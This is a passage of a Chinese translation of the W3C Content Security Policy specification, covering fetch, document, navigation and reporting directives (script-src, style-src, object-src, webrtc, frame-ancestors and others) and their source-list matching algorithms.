  2. 如果对 namemedia-srcpolicy 执行 § 6.8.4 获取指令是否应执行 的结果为 "No",则返回 "Allowed"。

  3. 如果对 request、此指令的 self-origin 执行 § 6.7.2.5 请求是否匹配源列表? 的结果为 "Does Not Match",则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.8.2. media-src 请求后检查

此指令的 请求后检查 如下

给定一个 请求 request、一个 响应 response、一个 策略 policy 以及一个 来源 (origin) self-origin

  1. name 为对 request 执行 § 6.8.1 获取请求的有效指令 的结果。

  2. 如果对 namemedia-srcpolicy 执行 § 6.8.4 获取指令是否应执行 的结果为 "No",则返回 "Allowed"。

  3. 如果对 responserequest、此指令的 self-origin 执行 § 6.7.2.6 响应对请求是否匹配源列表? 的结果为 "Does Not Match",则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.9. object-src

The object-src 指令限制了可以加载插件内容的 URL。指令名称和值的语法由以下 ABNF 描述

directive-name  = "object-src"
directive-value = serialized-source-list
给定一个具有以下内容安全策略的页面
Content-Security-Policy: object-src https://example.com/

以下代码的获取操作将返回网络错误,因为所提供的 URL 与 object-src源列表 不匹配

<embed src="https://example.org/flash"></embed>
<object data="https://example.org/flash"></object>

如果加载插件内容时没有关联的 URL(例如 object 元素缺少 data 属性,但根据指定的 type 加载了一些默认插件),如果 object-src 的值为 'none',则必须阻止它,否则将被允许。

注意: object-src 指令对代表 objectembed 元素发出的任何请求起作用。这包括将填充由前两者生成的 子可导航对象 的请求(也包括导航)。即使数据在语义上等同于本应受其他指令限制的内容(例如具有 text/html MIME 类型的 object 元素),也是如此。

注意: 当直接导航到插件资源时(即作为 插件可导航对象 内,而不是通过 embedobject 作为嵌入式子资源),随该资源一起传递的任何 策略 都将应用于生成的 Document。这意味着,例如,开发者可以通过随响应传递策略 object-src 'none' 来防止将任意资源作为插件内容执行。鉴于插件的强大功能(以及 Flash 等带来的有时很有趣的安全模型),这可以减轻像 Rosetta Flash 这样的攻击媒介的风险。

6.1.9.1. object-src 请求前检查

此指令的 请求前检查 如下

给定一个 请求 request、一个 策略 policy 以及一个 来源 (origin) self-origin

  1. name 为对 request 执行 § 6.8.1 获取请求的有效指令 的结果。

  2. 如果对 nameobject-srcpolicy 执行 § 6.8.4 获取指令是否应执行 的结果为 "No",则返回 "Allowed"。

  3. 如果对 request、此指令的 self-origin 执行 § 6.7.2.5 请求是否匹配源列表? 的结果为 "Does Not Match",则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.9.2. object-src 请求后检查

此指令的 请求后检查 如下

给定一个 请求 request、一个 响应 response、一个 策略 policy 以及一个 来源 (origin) self-origin

  1. name 为对 request 执行 § 6.8.1 获取请求的有效指令 的结果。

  2. 如果对 nameobject-srcpolicy 执行 § 6.8.4 获取指令是否应执行 的结果为 "No",则返回 "Allowed"。

  3. 如果对 responserequest、此指令的 self-origin 执行 § 6.7.2.6 响应对请求是否匹配源列表? 的结果为 "Does Not Match",则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.10. script-src

The script-src 指令限制了可以执行脚本的位置。这不仅包括直接加载到 script 元素中的 URL,还包括内联脚本块和 XSLT 样式表 [XSLT] 等可能触发脚本执行的内容。指令名称和值的语法由以下 ABNF 描述

directive-name  = "script-src"
directive-value = serialized-source-list

script-src 指令充当所有 类脚本 目的地的默认回退(如果不存在 worker-src,则包括特定于 Worker 的目的地)。除非需要粒度,否则应优先使用 script-src 而非 script-src-attrscript-src-elem,因为在大多数情况下,没有特别理由为内联事件处理程序和 script 元素设置独立的权限列表。

script-src 指令管理六件事

  1. 脚本 请求 必须通过 § 4.1.2 请求是否应被内容安全策略阻止?

  2. 脚本 响应 必须通过 § 4.1.3 响应对请求是否应被内容安全策略阻止?

  3. 内联 script 块必须通过 § 4.2.3 元素的内联类型行为是否应被内容安全策略阻止?。除非每个策略都允许内联脚本,否则它们的行为将被阻止;这可以通过不指定 script-src(或 default-src)指令隐式实现,或者通过指定 "unsafe-inline"、与内联块匹配的 nonce 源哈希源 显式实现。

  4. 以下 JavaScript 执行接收器受 "unsafe-eval" 和 "trusted-types-eval" 源表达式的门控

    注意: 如果用户代理实现了非标准接收器(如 setImmediate()execScript()),它们也应该受 "unsafe-eval" 的门控。注意:由于 "unsafe-eval" 充当全局页面标志,script-src-attrscript-src-elem 在执行此检查时不会被使用,而是始终使用 script-src(或其回退指令)。

  5. 以下 WebAssembly 执行接收器受 "wasm-unsafe-eval" 或 "unsafe-eval" 源表达式的门控

    注意: "wasm-unsafe-eval" 源表达式是更具体的源表达式。特别是,"unsafe-eval" 既允许编译(和实例化)WebAssembly,也允许(例如)在 JavaScript 中使用 "eval" 操作。"wasm-unsafe-eval" 源表达式仅允许 WebAssembly,而不影响 JavaScript。

  6. 导航到 javascript: URL 必须通过 § 4.2.3 元素的内联类型行为是否应被内容安全策略阻止?。根据上述第 3 点,此类导航仅在每个策略都允许内联脚本的情况下才会执行脚本。

6.1.10.1. script-src 请求前检查

此指令的 请求前检查 如下

给定一个 请求 request、一个 策略 policy 以及一个 来源 (origin) self-origin

  1. name 为对 request 执行 § 6.8.1 获取请求的有效指令 的结果。

  2. 如果对 namescript-srcpolicy 执行 § 6.8.4 获取指令是否应执行 的结果为 "No",则返回 "Allowed"。

  3. 返回对 request、此指令、policyself-origin 执行 § 6.7.1.1 脚本指令请求前检查 的结果。

6.1.10.2. script-src 请求后检查

此指令的 请求后检查 如下

给定一个 请求 request、一个 响应 response、一个 策略 policy 以及一个 来源 (origin) self-origin

  1. name 为对 request 执行 § 6.8.1 获取请求的有效指令 的结果。

  2. 如果对 namescript-srcpolicy 执行 § 6.8.4 获取指令是否应执行 的结果为 "No",则返回 "Allowed"。

  3. 返回对 requestresponse、此指令、policyself-origin 执行 § 6.7.1.2 脚本指令请求后检查 的结果。

6.1.10.3. script-src 内联检查

此指令的 内联检查 算法如下

给定一个 Element element、一个字符串 type、一个 策略 policy 和一个字符串 source

  1. 断言:element 不为 null 或 type 为 "navigation"。

  2. name 为对 type 执行 § 6.8.2 获取内联检查的有效指令 的结果。

  3. 如果对 namescript-srcpolicy 执行 § 6.8.4 获取指令是否应执行 的结果为 "No",则返回 "Allowed"。

  4. 如果对 element、此指令的 typesource 执行 § 6.7.3.3 元素对类型和源是否匹配源列表? 的结果为 "Does Not Match",则返回 "Blocked"。

  5. 返回 "Allowed"。

6.1.11. script-src-elem

指令名称和值的语法由以下 ABNF 描述

directive-name  = "script-src-elem"
directive-value = serialized-source-list

script-src-elem 指令适用于所有脚本请求和脚本块。执行脚本的属性(内联事件处理程序)通过 script-src-attr 进行控制。

因此,与 script-src 相比存在以下差异

6.1.11.1. script-src-elem 请求前检查

此指令的 请求前检查 如下

给定一个 请求 request、一个 策略 policy 以及一个 来源 (origin) self-origin

  1. name 为对 request 执行 § 6.8.1 获取请求的有效指令 的结果。

  2. 如果对 namescript-src-elempolicy 执行 § 6.8.4 获取指令是否应执行 的结果为 "No",则返回 "Allowed"。

  3. 返回对 request、此指令、policyself-origin 执行 § 6.7.1.1 脚本指令请求前检查 的结果。

6.1.11.2. script-src-elem 请求后检查

此指令的 请求后检查 如下

给定一个 请求 request、一个 响应 response、一个 策略 policy 以及一个 来源 (origin) self-origin

  1. name 为对 request 执行 § 6.8.1 获取请求的有效指令 的结果。

  2. 如果对 namescript-src-elempolicy 执行 § 6.8.4 获取指令是否应执行 的结果为 "No",则返回 "Allowed"。

  3. 返回对 requestresponse、此指令、policyself-origin 执行 § 6.7.1.2 脚本指令请求后检查 的结果。

6.1.11.3. script-src-elem 内联检查

此指令的 内联检查 算法如下

给定一个 Element element、一个字符串 type、一个 策略 (policy) policy 以及一个字符串 source

  1. 断言:element 不为 null 或 type 为 "navigation"。

  2. name 为对 type 执行 § 6.8.2 获取内联检查的有效指令 的结果。

  3. 如果执行 § 6.8.4 应执行获取指令吗?(针对 namescript-src-elempolicy)的结果为“No”,则返回“Allowed”。

  4. 如果执行 § 6.7.3.3 元素是否匹配类型和源的源列表?(针对 element、该指令的 值 (value)typesource)的结果为“Does Not Match”,则返回“Blocked”。

  5. 返回 "Allowed"。

6.1.12. script-src-attr

指令名称和值的语法由以下 ABNF 描述

directive-name  = "script-src-attr"
directive-value = serialized-source-list

script-src-attr 指令适用于事件处理程序,如果存在,它将覆盖相关检查中的 script-src 指令。

6.1.12.1. script-src-attr 内联检查

该指令的 内联检查 算法如下:

给定一个 Element element、一个字符串 type、一个 策略 policy 以及一个字符串 source

  1. 断言:element 不为 null 或 type 为 "navigation"。

  2. name 为对 type 执行 § 6.8.2 获取内联检查的有效指令 的结果。

  3. 如果执行 § 6.8.4 应执行获取指令吗?(针对 namescript-src-attrpolicy)的结果为“No”,则返回“Allowed”。

  4. 如果执行 § 6.7.3.3 元素是否匹配类型和源的源列表?(针对 element、该指令的 typesource)的结果为“Does Not Match”,则返回“Blocked”。

  5. 返回 "Allowed"。

6.1.13. style-src

style-src 指令限制了可将样式应用于 Document 的位置。该指令名称和值的语法由以下 ABNF 描述。

directive-name  = "style-src"
directive-value = serialized-source-list

style-src 指令管理以下几项:

  1. 样式 请求 必须通过 § 4.1.2 请求是否应被内容安全策略阻止?。这包括:

    1. 源自 link 元素的样式表请求。

    2. 源自 @import 规则的样式表请求。

    3. 源自 Link HTTP 响应头字段 [RFC8288] 的样式表请求。

  2. 样式请求的 响应 必须通过 § 4.1.3 请求的响应是否应被内容安全策略阻止?

  3. 内联 style 块必须通过 § 4.2.3 元素的内联类型行为是否应被内容安全策略阻止?。除非每个策略都允许内联样式(隐式地通过不指定 style-srcdefault-src 指令,或显式地通过指定“unsafe-inline”、nonce-source 或匹配该内联块的 hash-source),否则样式将被阻止。

  4. 以下 CSS 算法受 unsafe-eval 源表达式控制:

    1. 插入 CSS 规则

    2. 解析 CSS 规则,

    3. 解析 CSS 声明块

    4. 解析一组选择器

    这包括例如 CSSOM 的各种 cssText 设置器和 insertRule 方法的所有调用 [CSSOM] [HTML]

    此处需要更好的解释。 [w3c/webappsec-csp Issue #212]

6.1.13.1. style-src 请求前检查

该指令的 请求前检查 如下:

给定一个 请求 request、一个 策略 policy 以及一个 源 (origin) self-origin

  1. name 为对 request 执行 § 6.8.1 获取请求的有效指令 的结果。

  2. 如果执行 § 6.8.4 应执行获取指令吗?(针对 namestyle-srcpolicy)的结果为“No”,则返回“Allowed”。

  3. 如果执行 § 6.7.2.3 nonce 是否匹配源列表?(针对 request加密 nonce 元数据 且该指令的 为“Matches”)的结果为“Allowed”。

  4. 如果执行 § 6.7.2.5 请求是否匹配源列表?(针对 request、该指令的 self-origin)的结果为“Does Not Match”,则返回“Blocked”。

  5. 返回 "Allowed"。

6.1.13.2. style-src 请求后检查

该指令的 请求后检查 如下:

给定一个 请求 request、一个 响应 response、一个 策略 policy 以及一个 self-origin

  1. name 为对 request 执行 § 6.8.1 获取请求的有效指令 的结果。

  2. 如果执行 § 6.8.4 应执行获取指令吗?(针对 namestyle-srcpolicy)的结果为“No”,则返回“Allowed”。

  3. 如果执行 § 6.7.2.3 nonce 是否匹配源列表?(针对 request加密 nonce 元数据 且该指令的 为“Matches”)的结果为“Allowed”。

  4. 如果执行 § 6.7.2.6 请求的响应是否匹配源列表?(针对 responserequest、该指令的 self-origin)的结果为“Does Not Match”,则返回“Blocked”。

  5. 返回 "Allowed"。

6.1.13.3. style-src 内联检查

该指令的 内联检查 算法如下:

给定一个 Element element、一个字符串 type、一个 策略 policy 以及一个字符串 source

  1. name 为对 type 执行 § 6.8.2 获取内联检查的有效指令 的结果。

  2. 如果执行 § 6.8.4 应执行获取指令吗?(针对 namestyle-srcpolicy)的结果为“No”,则返回“Allowed”。

  3. 如果执行 § 6.7.3.3 元素是否匹配类型和源的源列表?(针对 element、该指令的 typesource)的结果为“Does Not Match”,则返回“Blocked”。

  4. 返回 "Allowed"。

该指令的 初始化 算法如下:

对执行上下文做一些有趣的操作,以锁定有趣的 CSSOM 算法。我认为 CSSOM 在这里没有提供任何钩子,所以让我们与他们合作,共同制定出合理的内容。

6.1.14. style-src-elem

指令名称和值的语法由以下 ABNF 描述

directive-name  = "style-src-elem"
directive-value = serialized-source-list

style-src-elem 指令管理样式的行为,但内联属性中定义的样式除外。

6.1.14.1. style-src-elem 请求前检查

该指令的 请求前检查 如下:

给定一个 请求 request、一个 策略 policy 以及一个 self-origin

  1. name 为对 request 执行 § 6.8.1 获取请求的有效指令 的结果。

  2. 如果执行 § 6.8.4 应执行获取指令吗?(针对 namestyle-src-elempolicy)的结果为“No”,则返回“Allowed”。

  3. 如果执行 § 6.7.2.3 nonce 是否匹配源列表?(针对 request加密 nonce 元数据 且该指令的 为“Matches”)的结果为“Allowed”。

  4. 如果执行 § 6.7.2.5 请求是否匹配源列表?(针对 request、该指令的 self-origin)的结果为“Does Not Match”,则返回“Blocked”。

  5. 返回 "Allowed"。

6.1.14.2. style-src-elem 请求后检查

该指令的 请求后检查 如下:

给定一个 请求 request、一个 响应 response、一个 策略 policy 以及一个 self-origin

  1. name 为对 request 执行 § 6.8.1 获取请求的有效指令 的结果。

  2. 如果执行 § 6.8.4 应执行获取指令吗?(针对 namestyle-src-elempolicy)的结果为“No”,则返回“Allowed”。

  3. 如果执行 § 6.7.2.3 nonce 是否匹配源列表?(针对 request加密 nonce 元数据 且该指令的 为“Matches”)的结果为“Allowed”。

  4. 如果执行 § 6.7.2.6 请求的响应是否匹配源列表?(针对 responserequest、该指令的 self-origin)的结果为“Does Not Match”,则返回“Blocked”。

  5. 返回 "Allowed"。

6.1.14.3. style-src-elem 内联检查

该指令的 内联检查 算法如下:

给定一个 Element element、一个字符串 type、一个 策略 policy 以及一个字符串 source

  1. name 为对 type 执行 § 6.8.2 获取内联检查的有效指令 的结果。

  2. 如果执行 § 6.8.4 应执行获取指令吗?(针对 namestyle-src-elempolicy)的结果为“No”,则返回“Allowed”。

  3. 如果执行 § 6.7.3.3 元素是否匹配类型和源的源列表?(针对 element、该指令的 typesource)的结果为“Does Not Match”,则返回“Blocked”。

  4. 返回 "Allowed"。

6.1.15. style-src-attr

指令名称和值的语法由以下 ABNF 描述

directive-name  = "style-src-attr"
directive-value = serialized-source-list

style-src-attr 指令管理 style 属性的行为。

6.1.15.1. style-src-attr 内联检查

该指令的 内联检查 算法如下:

给定一个 Element element、一个字符串 type、一个 策略 policy 以及一个字符串 source

  1. name 为对 type 执行 § 6.8.2 获取内联检查的有效指令 的结果。

  2. 如果执行 § 6.8.4 应执行获取指令吗?(针对 namestyle-src-attrpolicy)的结果为“No”,则返回“Allowed”。

  3. 如果执行 § 6.7.3.3 元素是否匹配类型和源的源列表?(针对 element、该指令的 typesource)的结果为“Does Not Match”,则返回“Blocked”。

  4. 返回 "Allowed"。

6.2. 其他指令

6.2.1. webrtc

webrtc 指令限制是否可以通过 WebRTC 建立连接。该指令名称和值的语法由以下 ABNF 描述。

directive-name  = "webrtc"
directive-value = "'allow'" / "'block'"
给定一个带有以下内容安全策略的页面:
Content-Security-Policy: webrtc 'block'

不会显示本地 ICE 候选者,因为不会对下面协商的对等连接提供给 ICE 服务器进行 STUN 检查;不会尝试对 JS 提供的任何远程候选者进行连接检查;connectionState 将永远不会转换为“connected”,而是会很快直接从初始状态“new”转换为“failed”。尝试调用 pc.restartIce() 将重复此结果。

 <script>
   const iceServers = [{urls: "stun:stun.l.google.com:19302"}];
   const pc = new RTCPeerConnection({iceServers});
   pc.createDataChannel("");
   const io = new WebSocket('ws://example.com:8080');
   pc.onicecandidate = ({candidate}) => io.send({candidate});
   pc.onnegotiationneeded = async () => {
     await pc.setLocalDescription();
     io.send({description: pc.localDescription});
   };
   io.onmessage = async ({data: {description, candidate}}) => {
     if (description) {
       await pc.setRemoteDescription(description);
       if (description.type == "offer") {
         await pc.setLocalDescription();
         io.send({description: pc.localDescription});
       }
     } else if (candidate) await pc.addIceCandidate(candidate);
   };
</script>
6.2.1.1. webrtc 连接前检查

该指令的 webrtc 连接前检查 如下:

  1. 如果该指令的 包含单个项目,且该项目是字符串“'allow'”的 ASCII 不区分大小写 匹配项,则返回“Allowed”。

  2. 返回 "Blocked"。

6.2.2. worker-src

worker-src 指令限制可作为 WorkerSharedWorkerServiceWorker 加载的 URL。该指令名称和值的语法由以下 ABNF 描述。

directive-name  = "worker-src"
directive-value = serialized-source-list
给定一个带有以下内容安全策略的页面:
Content-Security-Policy: worker-src https://example.com/

对以下代码的获取请求将返回网络错误,因为所提供的 URL 与 worker-src源列表 不匹配。

<script>
  var blockedWorker = new Worker("data:application/javascript,...");
  blockedWorker = new SharedWorker("https://example.org/");
  navigator.serviceWorker.register('https://example.org/sw.js');
</script>
6.2.2.1. worker-src 请求前检查

该指令的 请求前检查 如下:

给定一个 请求 request、一个 策略 policy 以及一个 self-origin

  1. name 为对 request 执行 § 6.8.1 获取请求的有效指令 的结果。

  2. 如果执行 § 6.8.4 应执行获取指令吗?(针对 nameworker-srcpolicy)的结果为“No”,则返回“Allowed”。

  3. 如果执行 § 6.7.2.5 请求是否匹配源列表?(针对 request、该指令的 self-origin)的结果为“Does Not Match”,则返回“Blocked”。

  4. 返回 "Allowed"。

6.2.2.2. worker-src 请求后检查

该指令的 请求后检查 如下:

给定一个 请求 request、一个 响应 response、一个 策略 policy 以及一个 self-origin

  1. name 为对 request 执行 § 6.8.1 获取请求的有效指令 的结果。

  2. 如果执行 § 6.8.4 应执行获取指令吗?(针对 nameworker-srcpolicy)的结果为“No”,则返回“Allowed”。

  3. 如果执行 § 6.7.2.6 请求的响应是否匹配源列表?(针对 responserequest、该指令的 self-origin)的结果为“Does Not Match”,则返回“Blocked”。

  4. 返回 "Allowed"。

6.3. 文档指令

以下指令管理策略所应用的文档或工作线程环境的属性。

6.3.1. base-uri

base-uri 指令限制了可在 Documentbase 元素中使用的 URL。该指令名称和值的语法由以下 ABNF 描述。

directive-name  = "base-uri"
directive-value = serialized-source-list

以下算法在 HTML 的 设置冻结基准 URL 算法期间调用,以便监控和强制执行此指令。

6.3.1.1. basedocument 是否允许?

给定一个 URL base 和一个 Document document,如果 base 可用作 base 元素 href 属性的值,则该算法返回“Allowed”,否则返回“Blocked”。

  1. CSP listdocument全局对象csp 列表

  2. 对于 CSP list策略 中的每个 policy

    1. source list 为 null。

    2. 如果 policy指令集 中存在名称为“base-uri”的 指令,则将 source list 设置为该 指令

    3. 如果 source list 为 null,则跳过至下一个 policy

    4. 如果执行 § 6.7.2.7 url 是否在源中匹配源列表且带有重定向计数?(针对 basesource listCSP list自身源0)的结果为“Does Not Match”:

      1. violation 为执行 § 2.4.1 为全局、策略和指令创建违规对象(针对 document全局对象policy 和“base-uri”)的结果。

      2. violation资源 设置为“inline”。

      3. violation 执行 § 5.5 报告违规

      4. 如果 policy处置方式 为“enforce”,则返回“Blocked”。

    注意:我们对照回退基准 URL 进行比较,以便正确处理诸如 iframe srcdoc Document(已被沙盒化为不透明源)之类的情况。

  3. 返回 "Allowed"。

6.3.2. sandbox

sandbox 指令指定了一个 HTML 沙盒策略,用户代理将将其应用于资源,就好像它被包含在带有 sandbox 属性的 iframe 中一样。

该指令的语法由以下 ABNF 语法描述,并附加要求:每个令牌值必须是 HTML 规范定义为 iframe sandbox 属性允许值的关键字之一 [HTML]

directive-name  = "sandbox"
directive-value = "" / token *( required-ascii-whitespace token )

该指令没有报告要求;当通过 Content-Security-Policy-Report-Only 头部或在 meta 元素内交付时,它将被完全忽略。

6.3.2.1. sandbox 初始化

该指令的 初始化 算法负责检查工作线程是否被允许根据其策略中存在的 sandbox 值运行,如下所示:

注意:sandbox 指令还负责通过 CSP 派生的沙盒标志 调整 Document活动沙盒标志集

给定一个 Document全局对象 context 和一个 策略 policy

  1. 如果 policy处置方式 不是“enforce”,或者 context 不是 WorkerGlobalScope,则中止此算法。

  2. sandboxing flag set 为一个新的 沙盒标志集

  3. 解析沙盒指令,使用该指令的 作为输入,并以 sandboxing flag set 作为输出。

  4. 如果 sandboxing flag set 包含 沙盒化脚本浏览上下文标志沙盒化源浏览上下文标志 中的任一标志,则返回“Blocked”。

    注意:如果我们允许工作线程被沙盒化为唯一源,这将需要更改,这似乎是一件非常合理的事情。

  5. 返回 "Allowed"。

6.4. 导航指令

6.4.1. form-action

form-action 指令限制了可用作给定上下文中表单提交目标的 URL。该指令的语法由以下 ABNF 语法描述。

directive-name  = "form-action"
directive-value = serialized-source-list
6.4.1.1. form-action 导航前检查

给定一个 请求 request、一个字符串 navigation type(“form-submission” 或 “other”)、一个 策略 policy 以及一个 self-origin,如果表单提交违反了 form-action 指令的约束,此算法返回“Blocked”,否则返回“Allowed”。这构成了 form-action 指令的 导航前检查

  1. 断言:在此算法中 policy 未被使用。

  2. 如果 navigation type 为 “form-submission

    1. 如果执行 § 6.7.2.5 请求是否匹配源列表?(针对 request、该指令的 self-origin)的结果为“Does Not Match”,则返回“Blocked”。

  3. 返回 "Allowed"。

6.4.2. frame-ancestors

frame-ancestors 指令限制了可以使用 frameiframeobjectembed 嵌入资源的 URL。资源可以使用此指令来避免被嵌入到潜在的敌对上下文中,从而防止许多 UI 纠正 [UISECURITY] 攻击。

该指令的语法由以下 ABNF 语法描述。

directive-name  = "frame-ancestors"
directive-value = ancestor-source-list

ancestor-source-list = ( ancestor-source *( required-ascii-whitespace ancestor-source) ) / "'none'"
ancestor-source      = scheme-source / host-source / "'self'"

当通过 meta 元素声明的策略中包含 frame-ancestors 指令时,它必须被忽略。

注意:frame-ancestors 指令的语法类似于 源列表,但如果指定了 default-src 指令,frame-ancestors 不会回退到其值。也就是说,声明 default-src 'none' 的策略仍然允许任何人嵌入该资源。

6.4.2.1. frame-ancestors 导航响应检查

给定一个 请求 request、一个字符串 navigation type(“form-submission” 或 “other”)、一个 响应 navigation response、一个 可导航项 target、一个字符串 check type(“source” 或 “response”)、一个 策略 policy 以及一个 self-origin,如果 target 的一个或多个祖先违反了响应中随附的 frame-ancestors 指令,此算法返回“Blocked”,否则返回“Allowed”。这构成了 frame-ancestors 指令的 导航响应检查

  1. 如果 navigation responseURL 是本地的,则返回“Allowed”。

  2. 断言:从这一点开始,requestnavigation responsenavigation type 在本算法中不再被使用,因为 frame-ancestors 仅关注 navigation responseframe-ancestors 指令

  3. 如果 check type 为 “source”,则返回“Allowed”。

    注意:'frame-ancestors' 指令仅与 target 可导航项 相关,对 request 的上下文没有影响。

  4. 如果 target 不是 子可导航项,则返回“Allowed”。

  5. currenttarget

  6. current 是一个 子可导航项

    1. documentcurrent容器文档

    2. origin 为对 documentASCII 序列化 执行 URL 解析器 的结果。

    3. 如果执行 § 6.7.2.7 url 是否在源中匹配源列表且带有重定向计数?(针对 origin、该指令的 self-origin0)返回 Does Not Match,则返回“Blocked”。

    4. current 设置为 document节点可导航项

  7. 返回 "Allowed"。

6.4.2.2. 与 ``X-Frame-Options`` 的关系

该指令类似于 ``X-Frame-Options`` HTTP 响应头。''none'' 源表达式大致等同于该标头的 `DENY`,而 ''self'' 大致等同于 `SAMEORIGIN`。 [HTML]

为了允许向后兼容的部署,frame-ancestors 指令 覆盖 了 ``X-Frame-Options`` 标头。如果资源交付时带有的 策略 包含名称为 frame-ancestors处置方式 为“enforce”的 指令,则根据 HTML 的处理模型,``X-Frame-Options`` 标头将被忽略。

6.5. 报告指令

本文档中的各种算法通过 § 2.4.2 为请求和策略创建违规对象§ 2.4.1 为全局、策略和指令创建违规对象 构建 违规 对象并将其传递给 § 5.5 报告违规 来交付报告,从而挂钩到报告进程中。

6.5.1. report-uri

注意:report-uri 指令已弃用。请改用 report-to 指令。如果存在后者指令,则此指令将被忽略。为确保向后兼容,我们建议同时指定两者,如下所示:
Content-Security-Policy: ...; report-uri https://endpoint.com; report-to groupname

report-uri 指令定义了一组端点,当特定行为被阻止时,CSP 违规报告 将发送至这些端点。

directive-name  = "report-uri"
directive-value = uri-reference *( required-ascii-whitespace uri-reference )

; The uri-reference grammar is defined in Section 4.1 of RFC 3986.

该指令本身没有效果,仅在与其他指令结合时才获得意义。

6.5.2. report-to

report-to 指令定义了一个 报告端点,违规报告应当发送至该端点 [REPORTING]。该指令的行为在 § 5.5 报告违规 中定义。该指令的名称和值由以下 ABNF 描述。

directive-name  = "report-to"
directive-value = token

6.6. 其他文档中定义的指令

本文档定义了一组核心指令,并建立了供其他规范进行模块化扩展的框架。在撰写本文档时,以下稳定文档扩展了 CSP:

CSP 的扩展必须通过 [RFC7762] 中概述的流程进行注册。特别注意该文档第 4.2 节中讨论的标准。

新指令应使用 请求前检查请求后检查初始化 钩子,以便将自身集成到 Fetch 和 HTML 中。

6.7. 匹配算法

6.7.1. 脚本指令检查

6.7.1.1. 脚本指令请求前检查

给定一个 请求 request、一个 指令 directive、一个 策略 policy 以及一个 self-origin

  1. 如果 request目标 (destination)类似脚本的

    1. 如果执行 § 6.7.2.3 nonce 是否匹配源列表?(针对 request加密 nonce 元数据 且该指令的 为“Matches”)的结果为“Allowed”。

    2. 如果执行 § 6.7.2.4 完整性元数据是否匹配源列表?(针对 request完整性元数据 且该指令的 为“Matches”)的结果为“Allowed”。

    3. 如果 directive 包含一个 源表达式,该表达式是“'strict-dynamic'关键字源ASCII 不区分大小写 匹配项:

      1. 如果 request解析器元数据"parser-inserted",则返回“Blocked”。

        否则,返回“Allowed”。

        注意:'strict-dynamic'”在 § 8.2 使用 "'strict-dynamic'" 中有更详细的解释。

    4. 如果执行 § 6.7.2.5 请求是否匹配源列表?(针对 requestdirectiveself-origin)的结果为“Does Not Match”,则返回“Blocked”。

  2. 返回 "Allowed"。

6.7.1.2. 脚本指令请求后检查

该指令的 请求后检查 如下:

给定一个 请求 request、一个 响应 response、一个 指令 directive、一个 策略 policy 以及一个 self-origin

注意:此检查需要 requestresponse 作为输入参数,因为如果 request加密 nonce 元数据完整性元数据 匹配,则允许加载脚本,并跳过对 response 的 URL 是否匹配源列表的检查。

  1. 如果 request目标类似脚本的

    1. 使用 responserequestdirectivepolicy 调用 可能报告哈希值

    2. 如果执行 § 6.7.2.3 nonce 是否匹配源列表?(针对 request加密 nonce 元数据 且该指令的 为“Matches”)的结果为“Allowed”。

    3. 如果执行 § 6.7.2.4 完整性元数据是否匹配源列表?(针对 request完整性元数据 且该指令的 为“Matches”)的结果为“Allowed”。

    4. 如果 directive 包含一个 源表达式,该表达式是“'strict-dynamic'关键字源ASCII 不区分大小写 匹配项:

      1. 如果 request解析器元数据"parser-inserted",则返回“Blocked”。

        否则,返回“Allowed”。

        注意:'strict-dynamic'”在 § 8.2 使用 "'strict-dynamic'" 中有更详细的解释。

    5. 如果执行 § 6.7.2.6 请求的响应是否匹配源列表?(针对 responserequestdirectiveself-origin)的结果为“Does Not Match”,则返回“Blocked”。

  2. 返回 "Allowed"。

6.7.2. URL 匹配

6.7.2.1. request 是否违反 policy

给定一个 请求 request、一个 策略 policy 以及一个 self-origin,如果请求违反了策略,此算法返回违反的 指令,否则返回“Does Not Violate”。

  1. 如果 request发起者 (initiator) 为 “prefetch”,则返回执行 § 6.7.2.2 资源提示请求是否违反策略?(针对 requestpolicyself-origin)的结果。

  2. violates 为 “Does Not Violate”。

  3. 对于 policy 中的每个 directive

    1. result 为执行 directive请求前检查(针对 requestpolicyself-origin)的结果。

    2. 如果 result 为 “Blocked”,则令 violatesdirective

  4. 返回 violates

6.7.2.2. 资源提示 request 是否违反 policy

给定一个 请求 request、一个 策略 policy 以及一个 self-origin,如果资源提示请求违反了所有策略,此算法返回默认 指令,否则返回“Does Not Violate”。

  1. defaultDirectivepolicy 的第一个名称为 “default-src” 的 指令

  2. 如果 defaultDirective 不存在,则返回“Does Not Violate”。

  3. 对于 policy 中的每个 directive

    1. 如果 directive名称 不是以下之一:

      • child-src

      • connect-src

      • font-src

      • frame-src

      • img-src

      • manifest-src

      • media-src

      • object-src

      • script-src

      • script-src-elem

      • style-src

      • style-src-elem

      • worker-src

      则继续。

    2. 断言:directive 是一个 源列表

    3. result 为执行 § 6.7.2.5 请求是否匹配源列表?(针对 requestdirectiveself-origin)的结果。

    4. 如果 result 为 “Allowed”,则返回“Does Not Violate”。

  4. 返回 defaultDirective

6.7.2.3. nonce 是否匹配 source list

给定 请求加密 nonce 元数据 nonce 和一个 源列表 source list,如果 nonce 匹配列表中的一个或多个源表达式,此算法返回“Matches”,否则返回“Does Not Match”。

  1. 断言:source list 不为 null。

  2. 如果 nonce 是空字符串,则返回“Does Not Match”。

  3. 对于 source list 中的每个 expression

    1. 如果 expression 匹配 nonce-source 语法,且 nonce 等同于 expressionbase64-value 部分,则返回“Matches”。

  4. 返回“Does Not Match”。

6.7.2.4. integrity metadata 是否匹配 source list

给定 请求完整性元数据 integrity metadata 和一个 源列表 source list,如果完整性元数据匹配列表中的一个或多个源表达式,此算法返回“Matches”,否则返回“Does Not Match”。

  1. 断言:source list 不为 null。

  2. integrity expressionssource list 中匹配 hash-source 语法的 源表达式 集合。

  3. 如果 integrity expressions 为空,则返回“Does Not Match”。

  4. integrity sources 为给定 integrity metadata 解析元数据 的结果。[SRI]

  5. 如果 integrity sources 为 “no metadata” 或空集合,则返回“Does Not Match”。

  6. 对于 integrity sources 中的每个 source

    1. 如果 integrity expressions 不包含一个 源表达式(其 hash-algorithmsourcehash-algorithmASCII 不区分大小写 匹配项,且其 base64-value 等同于 sourcebase64-value),则返回“Does Not Match”。

  7. 返回“Matches”。

注意:在此处,我们仅验证 integrity metadata 是否是 source listhash-source 源的非空子集。我们依赖浏览器对子资源完整性 [SRI] 的强制执行,以在响应时阻止不匹配的资源。

6.7.2.5. request 是否匹配 source list

给定一个 请求 request、一个 源列表 source list 以及一个 self-origin,此算法返回执行 § 6.7.2.7 url 是否在源中匹配源列表且带有重定向计数?(针对 request当前 URLsource listself-originrequest重定向计数)的结果。

